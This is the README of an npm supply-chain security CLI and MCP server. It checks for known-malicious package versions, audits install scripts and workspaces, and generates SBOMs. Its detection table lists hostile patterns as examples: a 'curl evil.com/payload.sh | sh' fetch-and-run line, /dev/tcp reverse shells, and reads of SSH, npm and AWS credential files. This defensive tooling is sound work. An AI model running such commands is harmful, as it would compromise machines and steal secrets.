depguard

# depguard-cli **Find out in seconds whether an npm supply-chain attack reached your machine.** When a worm or a hijacked maintainer account ships malicious versions, `npx depguard-cli exposure` checks every project, global install and the npm download cache on your machine against 100,000+ known-malicious npm packages. It tells you exactly where a bad version is, whether it was installed, and what to rotate. depguard also audits packages before you install them and repositories before you open them. Zero runtime dependencies. Runs in the terminal or as an MCP server for Claude, Cursor, Windsurf and any MCP client. [](https://www.npmjs.com/package/depguard-cli) [](LICENSE) ## Was I hit? ```bash npx depguard-cli exposure ``` ``` depguard exposure scan Scanned: 143 lock files, 816 global packages, 167 cached tarballs (14530 distinct versions) Under: /Users/you Advisory DB: 2026-10-15 (34952 known-malicious packages) OK No known-malicious package versions found. ``` When something is found, every location is listed with the evidence and the steps to take: ``` EXPOSED 1 known-malicious package version found ua-parser-js@0.7.29 CVE-2021-4229 Maintainer account hijacked. Compromised versions contained XMRig cryptominer and credential stealer. (2021-10-22) - lock file /Users/you/work/api/package-lock.json (node_modules/ua-parser-js) [installed on disk, runs install scripts] - npm cache tarball downloaded on 2021-10-22 What to do now: 1. A malicious version was installed or downloaded on this machine. Treat the machine as compromised... 2. Rotate every credential reachable from this machine: npm tokens, GitHub tokens and SSH keys, cloud credentials... ``` What it looks at: - **Every lock file** under the given paths (default: your home directory): npm, pnpm, yarn classic and berry, bun. Nested and duplicated copies count, so a malicious version hidden at `node_modules/a/node_modules/b` is found. - **Globally installed packages** (`npm root -g`). - **The npm download cache.** It proves a malicious tarball was downloaded on this machine, and when, even if the project that pulled it is gone. Only exact matches are reported: a version is flagged only when it falls inside a known-malicious range, and clean versions of packages that were once compromised are never flagged. The data comes from the GitHub Advisory Database, both malware advisories and advisories for legitimate packages that were hijacked to ship malware, refreshed daily. The exit code is 2 when something is found, so it can gate CI: ```bash npx depguard-cli exposure . --skip-global --skip-cache ``` ## Why depguard I work on industrial software where every event has to be logged and recoverable — customers trust the system because the audit trail makes the system trustworthy. When I started wiring AI coding agents into our internal stack, I realised the npm ecosystem treats supply-chain integrity as someone else's problem: install 1,000 packages, hope for the best. depguard brings the same auditability mindset to JavaScript dependencies — verify before installing, audit what's already there, generate an SBOM your security team can actually use. Zero runtime dependencies — because a security tool that pulls in 200 transitive packages is the joke that writes itself. ## Install ```bash npm install -g depguard-cli # or use directly with npx npx depguard-cli audit express ``` ## MCP server (primary use case) depguard exposes 15 [MCP](https://modelcontextprotocol.io/) tools over stdio. Add it to any MCP-compatible client and your AI agent calls them automatically when it's about to install something, audit a project, or review code. **Setup, Claude Code one-liner:** ```bash claude mcp add --transport stdio depguard -- npx -y depguard-cli --mcp ``` **Setup — generic MCP config** (Claude Desktop, Cursor, Windsurf, Continue.dev, Cline, Roo Code): ```json { "mcpServers": { "depguard": { "command": "npx", "args": ["-y", "depguard-cli", "--mcp"] } } } ``` ### The 15 tools | Tool | Use it when | |------|-------------| | `depguard_exposure` | **"Was I hit by this attack?"** Scans every lock file, global install and the npm cache for known-malicious versions, with locations, evidence and remediation steps | | `depguard_guard` | About to install package Y → pre-install verify + audit + allow/warn/block | | `depguard_should_use` | Need functionality X → recommend install / use-native / write-from-scratch | | `depguard_audit_workspace` | **Just cloned a repo, before opening it in any IDE.** Lists files that auto-execute on workspace open (VS Code tasks `runOn:folderOpen`, devcontainer lifecycle, `.envrc`, JetBrains run configs, Makefile, `.gitattributes`, committed git hooks). Defends against fake-interview / take-home-test malware. | | `depguard_audit_project` | Audit a whole project — direct deps, transitives via lockfile, `packageManager` field | | `depguard_remediate` | "100 vulnerabilities, which 5 direct deps do I bump?" — groups transitives by parent, sorted by severity weight | | `depguard_audit` | Deep dive on one package (vulnerabilities + static code analysis + install scripts) | | `depguard_audit_bulk` | Compare A vs B vs C in one call | | `depguard_audit_deep` | Full transitive tree audit for one package | | `depguard_review` | AI code review — detect debris left by AI agents (console.logs, empty catch, broken imports, orphan files) | | `depguard_sweep` | Find unused dependencies in a project | | `depguard_search` | Search npm by keywords, ranked by depguard score | | `depguard_score` | Score 0-100 for one package | | `depguard_verify` | AI hallucination guard — does this package exist? Is it a typosquat? | | `depguard_sbom` | Generate a CycloneDX 1.6 SBOM (EU CRA, US EO 14028, SOC 2, FedRAMP) | Every MCP response includes a `tokenSavings` field that quantifies the LLM-tokens saved vs equivalent manual research: ```json "tokenSavings": { "responseTokens": 47, "manualEstimate": 11100, "saved": 11053, "percentSaved": 100, "manualSteps": [ "WebSearch: '{package} npm quality maintenance' (~800 tokens)", "WebFetch: npm registry page (~3000 tokens)", "WebFetch: GitHub repo for activity/stars (~3000 tokens)", "WebSearch: '{package} vulnerabilities' (~800 tokens)", "WebFetch: advisories page (~3000 tokens)", "Reasoning: compute weighted score (~500 tokens)" ] } ``` Automatic, no configuration. Lets teams quantify the LLM cost reduction of routing dependency questions through depguard instead of free-text web research. ## CLI ```bash depguard-cli exposure [paths...] [--skip-global] [--skip-cache] [--max-depth 8] [--json] depguard-cli audit <package[@version]> [--target-license MIT] [--json|--format sarif] depguard-cli audit-project <path/package.json> [--include-dev] [--json|--format sarif] depguard-cli audit-workspace [path] [--json|--format sarif] depguard-cli audit-deep <package> [--json] depguard-cli guard <package[@version]> [--threshold 60] [--block] [--json] depguard-cli should-use <intent...> [--threshold 60] [--json] depguard-cli sweep [path] [--include-dev] [--json] depguard-cli review [path] [--full] [--json] depguard-cli sbom <path/package.json> [--include-vex] [--include-dev] [-o out.json] depguard-cli remediate <path/package.json> [--json] depguard-cli search <keywords...> [--limit 10] [--json] depguard-cli score <package> [--target-license MIT] [--json] depguard-cli stats [--json] ``` Pre-install guardian in action: ```bash $ depguard-cli guard expresss [WARN] expresss Possible typosquat of: express Score: 45/100 is below threshold 60 $ depguard-cli guard ai-made-up-package [BLOCK] ai-made-up-package Package does NOT exist on npm! ``` ### GitHub Code Scanning (SARIF v2.1.0) `audit`, `audit-project`, and `audit-workspace` accept `--format sarif` and emit SARIF v2.1.0 with GHSA-stable rule IDs (`depguard/vuln/GHSA-…`), CVSS-propagated severity, and stable `partialFingerprints` for dedup across runs. ```yaml # .github/workflows/depguard.yml - name: Pre-open workspace audit run: npx -y depguard-cli audit-workspace . --format sarif -o workspace.sarif || true - name: Project dependency audit run: npx -y depguard-cli audit-project ./package.json --format sarif -o project.sarif || true - uses: github/codeql-action/upload-sarif@v3 with: sarif_file: | workspace.sarif project.sarif ``` ## API ```typescript import { audit, auditProject, sweep, guard, generateSBOM, auditToSarif } from 'depguard-cli' const report = await audit('express', 'MIT') report.vulnerabilities.total // 0 report.securityFindings // SecurityFinding[] (static code analysis) report.licenseCompatibility.compatible // true const project = await auditProject('./package.json', { includeDevDependencies: true }) project.summary // { critical: 0, high: 2, moderate: 5, low: 3 } project.transitiveSummary // { totalDeps: 800, vulnerable: 12, ... } project.packageManagerAudit // audit of `packageManager: yarn@4.5.3` const sweepResult = await sweep('.', { includeDevDependencies: true }) sweepResult.unused // [{ name: 'lodash', estimatedSizeKB: 1400, ... }] sweepResult.estimatedSavingsKB // 2450 const decision = await guard('expresss') decision.possibleTyposquat // true decision.similarTo // ["express"] decision.decision // "warn" const bom = await generateSBOM('./package.json', { includeVex: true }) bom.specVersion // "1.6" bom.vulnerabilities // [{ id: "GHSA-...", ratings: [...], affects: [...] }] ``` ## What depguard checks ### Scoring Each package is scored 0-100 across five dimensions, with thresholds tuned for AI-agent decision-making: | Dimension | Weight | What it measures | |-----------|--------|------------------| | Security | 30% | CVEs, advisories, static code analysis findings | | Maintenance | 25% | Last publish, version count, deprecation | | Popularity | 20% | Weekly downloads (log scale) | | License | 15% | Compatibility with your project's target license | | Dependencies | 10% | Dependency count, install scripts | Decisions (`shouldUse`): `>= 60` → install, `40-59` → caution, `< 40` → write from scratch. **Static-analysis caps the security score regardless of popularity** — this is deliberate: a wildly popular package with a credential-stealing payload still loses. | Worst finding | Security score capped at | |---------------|---------------------------| | Critical (e.g. malware, reverse shell) | **20/100** | | High (e.g. obfuscation, env-var exfil) | **45/100** | | None | unrestricted | ### Pre-install guardian Three sequential checks before `npm install`: (1) does the package exist on npm? (2) is the name a typosquat — Levenshtein distance against 100+ top packages? (3) full security audit. Used as the recommended MCP entry point for AI agents. ### Install script analysis depguard statically pattern-matches `preinstall` / `install` / `postinstall` scripts. **Nothing is executed.** | Pattern | Severity | Example | |---------|----------|---------| | Remote code execution | Critical | `curl evil.com/payload.sh \| sh` | | Reverse shells | Critical | `/dev/tcp/` connections | | Credential file access | Critical | `~/.ssh/id_rsa`, `~/.npmrc`, `~/.aws` | | Sensitive env vars | Critical | `$NPM_TOKEN`, `$AWS_SECRET` | | Shell typosquatting | Critical | `/bin/ssh` instead of `/bin/sh` | | Obfuscated code | High | `eval(Buffer.from(..., "base64"))` | | Process spawning | High | `child_process`, `exec()`, `spawn()` | ### Static code analysis (tarball scan) depguard downloads the package tarball, extracts JS files, and scans for 18+ malware patterns across 6 categories: | Category | Severity | What it detects | |----------|----------|-----------------| | `malware` | Critical | Eval of decoded payloads, reverse shells, crypto-mining | | `data-exfiltration` | Critical/High | `JSON.stringify(process.env)`, credential file reads, dynamic fetch URLs | | `code-execution` | High | `eval()`, `new Function()`, `child_process.exec/spawn` | | `obfuscation` | High/Medium | Long hex/unicode strings, base64 payloads, minified source in non-`.min.js` files | | `unexpected-behavior` | High/Medium | Network calls in a "formatter" package, FS access in a "date utility" | | `supply-chain` | Critical | Typosquatting patterns in install scripts | **Behavioral mismatch** compares the package's stated purpose (description + keywords) against detected runtime behavior. A "string formatter" that makes network calls is flagged with a rich `SecurityFinding` (title, explanation, evidence, file, recommendation). ### Dead-dependency detection `sweep` scans `.js/.ts/.mjs/.cjs/.jsx/.tsx` for `import` / `require` / `export from`, recognises config-only dependencies (eslint, prettier, jest, tailwind, …), detects binaries used in npm scripts, pairs `@types/*` with their runtime peer, and marks untraced devDependencies as "maybe-unused" instead of "unused". Reports estimated disk savings. ### Native-alternative advisor `should_use` checks for native Node.js APIs before recommending packages — `fetch` (18+), `crypto.randomUUID()` (19+), `structuredClone()` (17+), and 20+ more. Each comes with example code and the minimum Node version. ### Fix suggestions Every vulnerable result includes a `fixSuggestions` array with `currentVersion`, `fixVersion`, and `action: 'upgrade' | 'no-fix-available'`. `depguard_remediate` aggregates these and groups vulnerable transitives by the direct dep that pulls them in, sorted by severity weight. ### License compatibility Permissive-to-copyleft hierarchy: Public Domain → Permissive (MIT, ISC, BSD, Apache-2.0) → Weak Copyleft (LGPL, MPL) → Strong Copyleft (GPL) → Network (AGPL). A dependency is compatible if its license is equally or more permissive than the target license. ## SBOM (CycloneDX 1.6) Native CycloneDX 1.6 generation against the public JSON Schema — no `@cyclonedx/cyclonedx-library` runtime dependency. Output is consumed unchanged by Dependency-Track, Trivy, Grype, and OWASP DT. ```bash depguard-cli sbom ./package.json -o sbom.cdx.json depguard-cli sbom ./package.json --include-vex --include-dev -o sbom.cdx.json ``` Suitable for **EU Cyber Resilience Act**, **US Executive Order 14028 / OMB M-22-18**, SOC 2, FedRAMP, and supplier procurement. PURLs follow the [Package URL spec](https://github.com/package-url/purl-spec/blob/main/PURL-TYPES.rst#npm). SHA-512 integrity hashes are extracted from `package-lock.json` and converted from base64 to hex per the CycloneDX schema. With `--include-vex`, advisories are inlined with CVSS ratings and patched versions. ## Data, privacy & performance - **Known-malicious packages, bundled.** `exposure` and `guard` match against a local copy of the GitHub Advisory Database's npm malware advisories plus hijacked-package advisories (CWE-506), refreshed daily, so the check itself makes no network calls. Advisories about packages that were only exposed through a malicious dependency are excluded, and a reviewed exception list overrides the data. - **Two advisory databases, deduplicated.** Each advisory is filtered to the installed version range (no noise from advisories that don't actually affect you) and tagged with its `source` field. | Source | What it catches | |--------|----------------| | npm Registry | `npm audit` advisories | | GitHub Advisory DB | GHSAs, often not in npm | - **Everything stays local.** No telemetry, no usage reporting, nothing sent anywhere. Audit results are cached in memory (5 min TTL) and on disk under `~/.depguard/cache/` (24h TTL); the cache is cleaned on startup. - **GitHub token (optional).** Set `GITHUB_TOKEN` (no scopes needed — identification only) to raise the GitHub Advisory API rate limit from 60/h to 5,000/h. If `gh` CLI or GitHub Actions already exposes one, depguard picks it up automatically. ## About **Design principles.** Zero runtime dependencies. Never throws on network errors — returns degraded results with warnings. TypeScript strict. 100% offline tests. False-positive aversion is a hard constraint for every detection rule — depguard is a security tool, and a security tool with poor precision destroys its own trust. **Development.** ```bash npm test # 543 offline tests npm run check # version + build + lint + test + audit:security (gates publish) ``` **Author.** Jorge Morais ([jorgemopanc.com](https://jorgemopanc.com) · [LinkedIn](https://www.linkedin.com/in/jorge-mopanc/)) — Tech Lead at Balanças Marques in Braga, Portugal, building edge-to-cloud systems for industrial operations. Issues, PRs, and bug reports welcome. If depguard saves you from a malicious install or unblocks a compliance audit and you'd like to support the project, [GitHub Sponsors](https://github.com/sponsors/mopanc) is the cleanest way — no expectations, the tool is free and will stay so. **License.** Apache-2.0 — see [LICENSE](LICENSE).